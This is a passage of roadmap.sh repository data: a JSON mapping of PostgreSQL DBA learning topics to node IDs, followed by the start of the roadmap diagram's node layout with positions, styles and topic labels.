\"postgresql-security-concepts:ssl-settings\": \"EKwO6edtFnUw8cPCcVwKJ\",\n  \"postgresql-security-concepts:advanced-topics\": \"09QX_zjCUajxUqcNZKy0x\",\n  \"postgresql-security-concepts:advanced-topics:row-level-security\": \"bokFf6VNrLcilI9Hid386\",\n  \"postgresql-security-concepts:advanced-topics:selinux\": \"GvpIJF-eaGELwcpWq5_3r\",\n  \"postgresql-infrastructure-skills:replication:logical-replication\": \"rmsIw9CQa1qcQ_REw76NK\",\n  \"postgresql-infrastructure-skills:replication:streaming-replication\": \"MwLlVbqceQ-GTgPJlgoQY\",\n  \"postgresql-infrastructure-skills:connection-pooling:pg-bouncer\": \"aKQI7aX4bT_39bZgjmfoW\",\n  \"postgresql-infrastructure-skills:connection-pooling:pg-bouncer-alternatives\": \"3V1PPIeB0i9qNUsT8-4O-\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:barman\": \"-XhONB0FBA6UslbDWoTDv\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:wal-g\": \"4gQSzH-WKFAvmkwlX_oyR\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pgbackrest\": \"5LLYxCj22RE6Nf0fVm8GO\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pg-probackup\": \"Id_17Ya-NUvoXxijAZvmW\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pg-dump\": \"XZ922juBJ8Om0WyGtSYT5\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pg-dumpall\": \"QmV-J6fPYQ5CcdGUkBs7y\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pg-restore\": \"YSprRhPHkzV8SzDYpIVmp\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:pg-basebackup\": \"XYaVsj5_48CSnoTSGXBbN\",\n  \"postgresql-infrastructure-skills:backup-recovery-tools:backup-validation-procedures\": \"te4PZaqt6-5Qu8rU0w6a1\",\n  \"postgresql-infrastructure-skills:upgrade-procedures:using-pg-upgrade\": \"cJYlZJ9f3kdptNrTlpMNU\",\n  \"postgresql-infrastructure-skills:upgrade-procedures:using-logical-replication\": \"MVVWAf9Hk3Fom-wBhO64R\",\n  \"postgresql-infrastructure-skills:monitoring:prometheus\": \"XmBeM01NAy-_nfyNdk9ZV\",\n  \"postgresql-infrastructure-skills:monitoring:zabbix\": \"z3VD68R2uyu1s-3giRxKr\",\n  \"postgresql-infrastructure-skills:monitoring:check-pgactivity\": \"WiOgUt5teG9UVRa6zo4h3\",\n  \"postgresql-infrastructure-skills:monitoring:temboard\": \"aXG68inOu3trBWOmg9Yqx\",\n  \"postgresql-infrastructure-skills:monitoring:check-pgbackrest\": \"DDPuDDUFxubWZmWXCmF7L\",\n  \"postgresql-infrastructure-skills:resource-usage-provisioing-capacity-planning\": \"SNnc8CIKuHUAEZaJ_qEar\",\n  \"postgresql-infrastructure-skills:cluster-management:patroni\": \"mm0K_8TFicrYdZQvWFkH4\",\n  \"postgresql-infrastructure-skills:cluster-management:patroni-alternatives\": \"TZvZ_jNjWnM535ZktyhQN\",\n  \"postgresql-infrastructure-skills:load-balancing:ha-proxy\": \"V8_zJRwOX9664bUvAGgff\",\n  \"postgresql-infrastructure-skills:load-balancing:keep-alived\": \"xk2G-HUS-dviNW3BAMmJv\",\n  \"postgresql-infrastructure-skills:load-balancing:consul\": \"IkB28gO0LK1q1-KjdI9Oz\",\n  \"postgresql-infrastructure-skills:load-balancing:etcd\": \"kCw6oEVGdKokCz4wYizIT\",\n  \"postgresql-infrastructure-skills:kubernetes-deployment:simple-stateful-setup\": \"rNp3ZC6axkcKtAWYCPvdR\",\n  \"postgresql-infrastructure-skills:kubernetes-deployment:helm\": \"QHbdwiMQ8otxnVIUVV2NT\",\n  \"postgresql-infrastructure-skills:kubernetes-deployment:operators\": \"nRJKfjW2UrmKmVUrGIfCC\",\n  \"postgresql-infrastructure-skills:anonymization:postgresql-anonymizer\": \"Z2PuOmgOqScGFbhvrvrA1\",\n  \"postgresql-infrastructure-skills\": \"zlqSX0tl7HD9C1yEGkvoM\",\n  \"learn-automation\": \"e5s7-JRqNy-OhfnjTScZI\",\n  \"learn-automation:shell-scripts\": \"-clI2RmfhK8F8beHULaIB\",\n  \"learn-automation:programming-language\": \"j5YeixkCKRv0sfq_gFVr9\",\n  \"learn-automation:terraform\": \"dLL9WkfO7F3CI87mhJvro\",\n  \"learn-automation:configuration-management:ansible\": \"RqSfBR_RuvHrwHfPn1jwZ\",\n  \"learn-automation:configuration-management:salt\": \"Q_B9dlXNMXZIRYQC74uIf\",\n  \"learn-automation:configuration-management:chef\": \"7EHZ9YsNjCyTAN-LDWYMS\",\n  \"learn-automation:configuration-management:puppet\": \"e39bceamU-lq3F2pmLz6v\",\n  \"application-skills:migrations:practical-patterns\": \"AtZcMhy2Idmgonp5O8RSQ\",\n  \"application-skills:migrations:liquidbase-sqitch-bytebase-ora2pg\": \"3Lcy7kBKeV6hx9Ctp_20M\",\n  \"application-skills:bulk-load-process-data\": \"cc4S7ugIphyBZr-f6X0qi\",\n  \"application-skills:data-partitioning\": \"OiGRtLsc28Tv35vIut6B6\",\n  \"application-skills:sharding-patterns\": \"r6Blr7Q4wOnvJ-m6NvPyP\",\n  \"application-skills:data-normalization-normal-forms\": \"Fcl7AD2M6WrMbxdvnl-ub\",\n  \"application-skills:queues:practical-patterns-antipatterns\": \"rnXcM62rgq3p6FQ9AWW1R\",\n  \"application-skills:queues:skytools-pgq\": \"WCBWPubUS84r3tOXpnZT3\",\n  \"advanced-topics:low-level-internals:process-memory-arch\": \"v2J6PZT0fHvqA7GwlqBU7\",\n  \"advanced-topics:low-level-internals:vacuum-processing\": \"dJzJP1uo4kVFThWgglPfk\",\n  \"advanced-topics:low-level-internals:buffer-management\": \"KeBUzfrkorgFWpR8A-xmJ\",\n  \"advanced-topics:low-level-internals:lock-management\": \"pOkafV7nDHme4jk-hA8Cn\",\n  \"advanced-topics:low-level-internals:physical-storage-and-file-layout\": \"gweDHAB58gKswdwfpnRQT\",\n  \"advanced-topics:low-level-internals:system-catalog\": \"lDuBFA7cEMnd7Cl9MDgnf\",\n  \"advanced-topics:fine-grained-tuning:per-user-per-database-settings\": \"msm4QCAA-MRVI1psf6tt3\",\n  \"advanced-topics:fine-grained-tuning:storage-parameters\": \"4VrT_K9cZZ0qE1EheSQy0\",\n  \"advanced-topics:fine-grained-tuning:workload-dependant-tuning\": \"VekAMpcrugHGuvSbyPZVv\",\n  \"advanced-topics:advanced-sql:pl-pgsql\": \"Ur23UVs_nXaltytF1WJD8\",\n  \"advanced-topics:advanced-sql:procedures-and-functions\": \"LiF2Yh818D-zEF58v5Fgr\",\n  \"advanced-topics:advanced-sql:triggers\": \"ps2KK88QA1n5udn2ochIn\",\n  \"advanced-topics:advanced-sql:recursive-cte\": \"A1LGOqqaka0ILcYwybclP\",\n  \"advanced-topics:advanced-sql:aggregate-and-window-functions\": \"iQqEC1CnVAoM7x455jO_S\",\n  \"troubleshooting-techniques:log-analysis:pg-badger\": \"V2iW8tJQXwsRknnZXoHGd\",\n  \"troubleshooting-techniques:log-analysis:pg-cluu\": \"ISuU1lWH_zVDlCHnWXbf9\",\n  \"troubleshooting-techniques:log-analysis:awk\": \"HJCRntic0aGVvdmCN45aP\",\n  \"troubleshooting-techniques:log-analysis:grep\": \"cFtrSgboZRJ3Q63eaqEBf\",\n  \"troubleshooting-techniques:log-analysis:sed\": \"hVL6OtsXrE8BvjKpRjB-9\",\n  \"troubleshooting-techniques:profiling-tools:gdb\": \"yIdUhfE2ZTQhDAdQsXrnH\",\n  \"troubleshooting-techniques:profiling-tools:strace\": \"C_cUfEufYeUlAdVfdUvsK\",\n  \"troubleshooting-techniques:profiling-tools:ebpf\": \"QarPFu_wU6-F9P5YHo6CO\",\n  \"troubleshooting-techniques:profiling-tools:perf-tools\": \"wH447bS-csqmGbk-jaGqp\",\n  \"troubleshooting-techniques:profiling-tools:core-dumps\": \"-CIezYPHTcXJF_p4T55-c\",\n  \"troubleshooting-techniques:operating-system-tools:top\": \"pvj33qDiG3sSjtiW6sUra\",\n  \"troubleshooting-techniques:operating-system-tools:sysstat\": \"0hRQtRsteGDnKO5XgLF1R\",\n  \"troubleshooting-techniques:operating-system-tools:iotop\": \"n8oHT7YwhHhFdU5_7DZ_F\",\n  \"troubleshooting-techniques:system-views:pg-stat-activity\": \"_NL5pGGTLNxCFx4axOqfu\",\n  \"troubleshooting-techniques:system-views:pg-stat-statements\": \"wLMGOUaULW7ZALRr-shTz\",\n  \"troubleshooting-techniques:tools:pgcenter\": \"TytU0IpWgwhr4w4W4H3Vx\",\n  \"troubleshooting-techniques:query-analysis:explain\": \"n2OjwxzIHnATraRWi5Ddl\",\n  \"troubleshooting-techniques:query-analysis:depesz\": \"rVlncpLO20WK6mjyqLerL\",\n  \"troubleshooting-techniques:query-analysis:pev2\": \"9RyMU36KEP__-RzTTz_eo\",\n  \"troubleshooting-techniques:query-analysis:tensor\": \"xEu5n6U9-WKVxjlT5YUgx\",\n  \"troubleshooting-techniques:query-analysis:explain-dalibo-com\": \"UZ1vRFRjiQAVu6BygqwEL\",\n  \"troubleshooting-techniques:troubleshooting-methods:use\": \"QWi84EjdHw5ChYsuwUhPC\",\n  \"troubleshooting-techniques:troubleshooting-methods:red\": \"qBkpTmfbyCv2L-OJW9pPI\",\n  \"troubleshooting-techniques:troubleshooting-methods:golden-signals\": \"oX-bdPPjaHJnQKgUhDSF2\",\n  \"sql-optimization-techniques:schema-design-patterns\": \"G9DB1ZQjgXaHxJ4Lm6xGx\",\n  \"sql-optimization-techniques:schema-query-patterns\": \"FDuiJyU1yWUQ9IsfS3CeZ\",\n  \"sql-optimization-techniques:indexes-usecases\": \"Dhhyg23dBMyAKCFwZmu71\",\n  \"sql-optimization-techniques:indexes-usecases:b-tree\": \"jihXOJq9zYlDOpvJvpFO-\",\n  \"sql-optimization-techniques:indexes-usecases:hash\": \"2yWYyXt1uLOdQg4YsgdVq\",\n  \"sql-optimization-techniques:indexes-usecases:gist\": \"2chGkn5Y_WTjYllpgL0LJ\",\n  \"sql-optimization-techniques:indexes-usecases:sp-gist\": \"LT5qRETR3pAI8Tk6k5idg\",\n  \"sql-optimization-techniques:indexes-usecases:gin\": \"FJhJyDWOj9w_Rd_uKcouT\",\n  \"sql-optimization-techniques:indexes-usecases:brin\": \"43oFhZuXjJd4QHbUoLtft\",\n  \"get-involved-in-development\": \"NhodBD8myUTljNdn3y40I\",\n  \"get-involved-in-development:mailing-lists\": \"8H7hJhGKxr1nrjkHv9Xao\",\n  \"get-involved-in-development:reviewing-patches\": \"Jy0G0ZnHPOM8hba_PbwuA\",\n  \"get-involved-in-development:writing-patches\": \"eQzMU_KyQmHJQ6gzyk0-1\"\n}"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/postgresql-dba.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"LyLFP5Kqx60f2ABDGTA-c\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -387.8435707542325,\n        \"y\": 2805.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 907,\n      \"height\": 335,\n      \"style\": {\n        \"width\": 907,\n        \"height\": 335\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -387.8435707542325,\n        \"y\": 2805.521312862793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 907,\n        \"height\": 335\n      }\n    },\n    {\n      \"id\": \"nqRjLCEL647UnNdBfNXY9\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -125.01466960238349,\n        \"y\": 2427.0839460902976\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 315,\n      \"height\": 265,\n      \"style\": {\n        \"width\": 315,\n        \"height\": 265\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -125.01466960238349,\n        \"y\": 2427.0839460902976\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 265\n      }\n    },\n    {\n      \"id\": \"TJSsoD5U78tOydPhxuPzK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -120.22350405074945,\n        \"y\": 2428.0839460902976\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fine-grained Tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -120.22350405074945,\n        \"y\": 2428.0839460902976\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"QfyHG6cVuKQ3iqdEtoFSU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 225.5786133976277,\n        \"y\": 2426.505711967801\n      },\n      \"width\": 322,\n      \"height\": 267,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 267\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 225.5786133976277,\n        \"y\": 2426.505711967801\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 267\n      }\n    },\n    {\n      \"id\": \"PO-0otvLzR0IdSjr3qrHi\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -174.6924284234059,\n        \"y\": 2460.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"V9-jvWUQjcjFWO14IwsuU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -174.6924284234059,\n        \"y\": 2460.170810596315\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"uhaumgDGlmTZxRGoZ_R0Z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -505.25634421460154,\n        \"y\": 2362.170810596315\n      },\n      \"width\": 332,\n      \"height\": 371,\n      \"style\": {\n        \"width\": 332,\n        \"height\": 371\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.25634421460154,\n        \"y\": 2362.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 332,\n        \"height\": 371\n      }\n    },\n    {\n      \"id\": \"1zofI1RXzy1el0L0Pjxtx\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -267.261518097656,\n        \"y\": 2128.960169404955\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -267.261518097656,\n        \"y\": 2128.960169404955\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"L4zzOZ0ZQnziJTXiOeMhP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -114.89209645977337,\n        \"y\": 2109.570839668701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 663,\n      \"height\": 277,\n      \"style\": {\n        \"width\": 663,\n        \"height\": 277\n      },\n      \"positionAbsolute\": {\n        \"x\": -114.89209645977337,\n        \"y\": 2109.570839668701\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 663,\n        \"height\": 277\n      }\n    },\n    {\n      \"id\": \"xi5uZ_VOH4rVNu_0ZLAX9\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -508.9061969910332,\n        \"y\": 1550.9782199198892\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 285,\n      \"height\": 339,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 339\n      },\n      \"positionAbsolute\": {\n        \"x\": -508.9061969910332,\n        \"y\": 1550.9782199198892\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 339\n      }\n    },\n    {\n      \"id\": \"eyeqQi-eX9foNzlSHGQJ1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -81.3711635383321,\n        \"y\": 1260.7417239948313\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": -81.3711635383321,\n        \"y\": 1260.7417239948313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"WoNjhRXtGtxFsK_vR0ouB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -24.369723263420383,\n        \"y\": 1031.037958500518\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 119,\n      \"positionAbsolute\": {\n        \"x\": -24.369723263420383,\n        \"y\": 1031.037958500518\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 119\n      }\n    },\n    {\n      \"id\": \"cc_6hISv1nfvZb0UXierZ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 156.41769176852483,\n        \"y\": 578.7771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 156.41769176852483,\n        \"y\": 578.7771723229985\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"92MmgBQ4x0d2GeDCVtCNN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -185.54650833868743,\n        \"y\": 1307.862069498634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 736,\n      \"height\": 768,\n      \"style\": {\n        \"width\": 736,\n        \"height\": 768\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -185.54650833868743,\n        \"y\": 1307.862069498634\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 736,\n        \"height\": 768\n      }\n    },\n    {\n      \"id\": \"Ah3lQJ1nNiHmclKD3E25r\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 204.238410041698,\n        \"y\": 410.27717232299847\n      },\n      \"width\": 346,\n      \"height\": 557,\n      \"style\": {\n        \"width\": 346,\n        \"height\": 557\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 204.238410041698,\n        \"y\": 410.27717232299847\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 346,\n        \"height\": 557\n      }\n    },\n    {\n      \"id\": \"T83jSeQ6bB_lW1WIH3GWv\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -259.58230823147517,\n        \"y\": 488.748933004529\n      },\n      \"width\": 224,\n      \"height\": 207,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 207\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -259.58230823147517,\n        \"y\": 488.748933004529\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 207\n      }\n    },\n    {\n      \"width\": 193,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -190.24744704168165,\n        \"y\": -194.72152351445328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -190.24744704168165,\n        \"y\": -194.72152351445328\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 81,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -104.24744704168165,\n        \"y\": -275.7215235144533\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -104.24744704168165,\n        \"y\": -275.7215235144533\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 81\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 81\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 147.9013749499461,\n        \"y\": -277.4898508537784\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 147.9013749499461,\n        \"y\": -277.4898508537784\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 161.10474936274625,\n        \"y\": -195.5042874360331\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 161.10474936274625,\n        \"y\": -195.5042874360331\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -229.24744704168165,\n        \"y\": -12.151066995470956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -229.24744704168165,\n        \"y\": -12.151066995470956\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"soar-NBWCr4xVKj7ttfnc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 152.06761605808623,\n        \"y\": -92.3122831371636\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What are Relational Databases?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 152.06761605808623,\n        \"y\": -92.3122831371636\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p3AmRr_y_ZBKzAU5eh7OU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.4095159810638,\n        \"y\": -39.312283137163604\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RDBMS Benefits and Limitations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.4095159810638,\n        \"y\": -39.312283137163604\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IAKERTzTpTds5kZLMCapM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.9095159810637,\n        \"y\": 66.6877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL vs Other RDBMS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 